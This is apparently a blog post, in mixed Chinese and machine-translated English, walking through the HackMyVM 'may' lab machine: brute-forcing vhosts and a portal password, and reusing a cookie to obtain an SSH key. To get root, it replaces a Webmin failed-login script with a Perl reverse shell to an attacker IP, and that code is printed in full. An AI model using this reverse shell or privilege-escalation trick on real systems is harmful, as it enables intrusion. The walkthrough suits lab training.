当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:59:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集

访问80,Would jump to domain namemay.hmv访问,这里需添加hosts访问.
Got a user Mingmarie.
Blasting directory failed,于是爆破vhost.
找到两个vhost,portal和ssh.添加hosts后访问portal.may.hmv.This a login page,会验证用户名和密码,After a failed attempt to inject,Using the user name password try blasting obtained from the front.
得到密码rebeldeAnd capturing the successcookie,将这个cookie注入到http://ssh.may.hmv/check.php的请求中去,成功获取marie用户的私钥.
获取user flag
To save the private key,And Settings for the current user to read and write only,ssh登录marie.

获取root flag
查看root用户进程,Found the following process.
查看miniserv.conf文件权限,发现marie可以直接编辑,于是在home目录下创建一个failed.pl替换掉默认的.


在failed.plAdd the reboundshell代码.
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot).After the restart casuallywebminTo log on to a wrong account can reboundroot.
边栏推荐
- [trendsoft/capital]金额转中文大写库
- hackmyvm: controller walkthrough
- 阿里云MySQL5.7安装以及部分主要问题(总和)
- GreenOptic: 1 vulnhub walkthrough
- easyswoole 使用redis执行geoRadiusByMember Count无效修复
- Warzone: 3 (Exogen) vulnhub walkthrough
- New usage of string variable parsing in PHP8.2
- hackmyvm: may walkthrough
- IO streams, byte stream and byte stream buffer
- TCP通信程序
猜你喜欢
随机推荐
DVWA drone installation tutorial
Introduction to PHP (self-study notes)
Add a full image watermark to an image in PHP
1. Beginning with PHP
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
v-on基本使用、参数传递、修饰词
17. JS conditional statements and loops, and data type conversion
稳定好用的短连接生成平台,支持API批量生成
解决uni-app 打包H5网站 下载图片问题
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
ES6三点运算符、数组方法、字符串扩展方法
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
Using PHPMailer send mail
IO流、 编码表、 字符流、 字符缓冲流
(7) 浅学 “爬虫” 过程 (概念+练习)
easyswoole uses redis to perform geoRadiusByMember Count invalid fix
PHP基金会三月新闻公告发布
CTF入门之md5
[league/flysystem] An elegant and highly supported file operation interface
GreenOptic: 1 vulnhub walkthrough








